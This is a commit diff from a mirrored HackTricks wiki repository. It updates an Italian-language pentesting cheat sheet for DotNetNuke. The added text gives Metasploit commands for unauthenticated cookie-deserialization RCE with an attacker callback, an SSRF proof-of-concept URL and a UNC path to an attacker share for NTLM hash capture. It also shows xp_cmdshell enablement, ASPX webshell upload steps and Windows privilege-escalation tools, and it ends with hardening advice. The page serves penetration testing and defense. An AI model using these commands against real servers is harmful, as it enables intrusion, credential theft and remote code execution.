mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/network-services-pentesting/pentesting-web/dotnetnuke-d
This commit is contained in:
parent
33c4c07a74
commit
a36f1480c1
@ -4,37 +4,92 @@
|
||||
|
||||
## DotNetNuke (DNN)
|
||||
|
||||
Se accedi come **amministratore** in DNN è facile ottenere RCE.
|
||||
Se accedi come **amministratore** in DNN è facile ottenere **RCE**, tuttavia un certo numero di tecniche *non autenticate* e *post-autenticazione* sono state pubblicate negli ultimi anni. Il seguente cheat-sheet raccoglie le primitive più utili sia per il lavoro offensivo che difensivo.
|
||||
|
||||
## RCE
|
||||
---
|
||||
## Enumerazione della Versione & Ambiente
|
||||
|
||||
### Via SQL
|
||||
* Controlla l'intestazione di risposta HTTP *X-DNN* – di solito rivela la versione esatta della piattaforma.
|
||||
* Il wizard di installazione rivela la versione in `/Install/Install.aspx?mode=install` (accessibile su installazioni molto vecchie).
|
||||
* `/API/PersonaBar/GetStatus` (9.x) restituisce un blob JSON contenente `"dnnVersion"` per utenti a bassa privilegio.
|
||||
* Cookie tipici che vedrai su un'istanza live:
|
||||
* `.DOTNETNUKE` – ticket di autenticazione delle forme ASP.NET.
|
||||
* `DNNPersonalization` – contiene dati del profilo utente in XML/serializzati (versioni vecchie – vedi RCE qui sotto).
|
||||
|
||||
Una console SQL è accessibile nella pagina **`Impostazioni`** dove puoi abilitare **`xp_cmdshell`** e **eseguire comandi di sistema operativo**.
|
||||
---
|
||||
## Sfruttamento Non Autenticato
|
||||
|
||||
Usa queste righe per abilitare **`xp_cmdshell`**:
|
||||
```sql
|
||||
EXEC sp_configure 'show advanced options', '1'
|
||||
RECONFIGURE
|
||||
EXEC sp_configure 'xp_cmdshell', '1'
|
||||
RECONFIGURE
|
||||
### 1. RCE da Deserializzazione dei Cookie (CVE-2017-9822 & seguiti)
|
||||
*Versioni interessate ≤ 9.3.0-RC*
|
||||
|
||||
`DNNPersonalization` viene deserializzato ad ogni richiesta quando il gestore 404 integrato è abilitato. XML creato ad arte può quindi portare a catene di gadget arbitrarie ed esecuzione di codice.
|
||||
```
|
||||
E premi **"Esegui Script"** per eseguire quelle istruzioni sQL.
|
||||
|
||||
Quindi, usa qualcosa di simile al seguente per eseguire comandi OS:
|
||||
```sql
|
||||
xp_cmdshell 'whoami'
|
||||
msf> use exploit/windows/http/dnn_cookie_deserialization_rce
|
||||
msf> set RHOSTS <target>
|
||||
msf> set LHOST <attacker_ip>
|
||||
msf> run
|
||||
```
|
||||
### Via ASP webshell
|
||||
Il modulo sceglie automaticamente il percorso giusto per le versioni patchate ma ancora vulnerabili (CVE-2018-15811/15812/18325/18326). L'exploitation funziona **senza autenticazione** su 7.x–9.1.x e con un account *verificato* a basso privilegio su 9.2.x+.
|
||||
|
||||
In `Settings -> Security -> More -> More Security Settings` puoi **aggiungere nuove estensioni consentite** sotto `Allowable File Extensions`, e poi cliccando il pulsante `Save`.
|
||||
### 2. Server-Side Request Forgery (CVE-2025-32372)
|
||||
*Versioni interessate < 9.13.8 – Patch rilasciata aprile 2025*
|
||||
|
||||
Aggiungi **`asp`** o **`aspx`** e poi in **`/admin/file-management`** carica un **asp webshell** chiamato `shell.asp` per esempio.
|
||||
Un bypass della vecchia correzione `DnnImageHandler` consente a un attaccante di costringere il server a emettere **richieste GET arbitrarie** (SSRF semi-alla cieca). Impatti pratici:
|
||||
|
||||
Poi accedi a **`/Portals/0/shell.asp`** per accedere al tuo webshell.
|
||||
* Scansione delle porte interne / scoperta dei servizi metadata nelle implementazioni cloud.
|
||||
* Raggiungere host altrimenti protetti da firewall da Internet.
|
||||
|
||||
### Privilege Escalation
|
||||
Proof-of-concept (sostituire `TARGET` & `ATTACKER`):
|
||||
```
|
||||
https://TARGET/API/RemoteContentProxy?url=http://ATTACKER:8080/poc
|
||||
```
|
||||
La richiesta viene attivata in background; monitora il tuo listener per i callback.
|
||||
|
||||
Puoi **escalare privilegi** usando **Potatoes** o **PrintSpoofer** per esempio.
|
||||
### 3. Esposizione dell'Hash NTLM tramite Redirect UNC (CVE-2025-52488)
|
||||
*Versioni interessate 6.0.0 – 9.x (< 10.0.1)*
|
||||
|
||||
Contenuti appositamente creati possono far sì che DNN tenti di recuperare una risorsa utilizzando un **percorso UNC** come `\\attacker\share\img.png`. Windows eseguirà felicemente la negoziazione NTLM, rivelando gli hash degli account server all'attaccante. Aggiorna a **10.0.1** o disabilita SMB in uscita nel firewall.
|
||||
|
||||
### 4. Bypass del Filtro IP (CVE-2025-52487)
|
||||
Se gli amministratori si affidano ai *Filtri Host/IP* per la protezione del portale admin, sii consapevole che le versioni precedenti a **10.0.1** possono essere bypassate manipolando `X-Forwarded-For` in uno scenario di reverse-proxy.
|
||||
|
||||
---
|
||||
## Post-Autenticazione a RCE
|
||||
|
||||
### Via console SQL
|
||||
Sotto **`Impostazioni → SQL`** una finestra di query integrata consente l'esecuzione contro il database del sito. Su Microsoft SQL Server puoi abilitare **`xp_cmdshell`** e generare comandi:
|
||||
```sql
|
||||
EXEC sp_configure 'show advanced options', 1;
|
||||
RECONFIGURE;
|
||||
EXEC sp_configure 'xp_cmdshell', 1;
|
||||
RECONFIGURE;
|
||||
GO
|
||||
xp_cmdshell 'whoami';
|
||||
```
|
||||
### Via upload di webshell ASPX
|
||||
1. Vai a **`Impostazioni → Sicurezza → Altro → Ulteriori impostazioni di sicurezza`**.
|
||||
2. Aggiungi `aspx` (o `asp`) a **Estensioni di file consentite** e **Salva**.
|
||||
3. Naviga a **`/admin/file-management`** e carica `shell.aspx`.
|
||||
4. Attivalo su **`/Portals/0/shell.aspx`**.
|
||||
|
||||
---
|
||||
## Escalation dei privilegi su Windows
|
||||
Una volta ottenuta l'esecuzione del codice come **IIS AppPool\<Site>**, si applicano tecniche comuni di escalation dei privilegi di Windows. Se la macchina è vulnerabile, puoi sfruttare:
|
||||
|
||||
* **PrintSpoofer** / **SpoolFool** per abusare di *SeImpersonatePrivilege*.
|
||||
* **Juicy/Sharp Potatoes** per sfuggire a *Service Accounts*.
|
||||
|
||||
---
|
||||
## Raccomandazioni di indurimento (Blue Team)
|
||||
|
||||
* **Aggiorna** ad almeno **9.13.9** (risolve il bypass SSRF) o preferibilmente **10.0.1** (problemi di filtro IP e NTLM).
|
||||
* Rimuovi i file residui **`InstallWizard.aspx*`** dopo l'installazione.
|
||||
* Disabilita l'uscita SMB outbound (porte 445/139).
|
||||
* Applica filtri *Host* forti sul proxy di edge piuttosto che all'interno di DNN.
|
||||
* Blocca l'accesso a `/API/RemoteContentProxy` se non utilizzato.
|
||||
|
||||
## Riferimenti
|
||||
|
||||
* Documentazione del modulo Metasploit `dnn_cookie_deserialization_rce` – dettagli pratici su RCE non autenticato (GitHub).
|
||||
* Avviso di sicurezza GitHub GHSA-3f7v-qx94-666m – informazioni sul bypass SSRF del 2025 e patch.
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
Loading…
x
Reference in New Issue
Block a user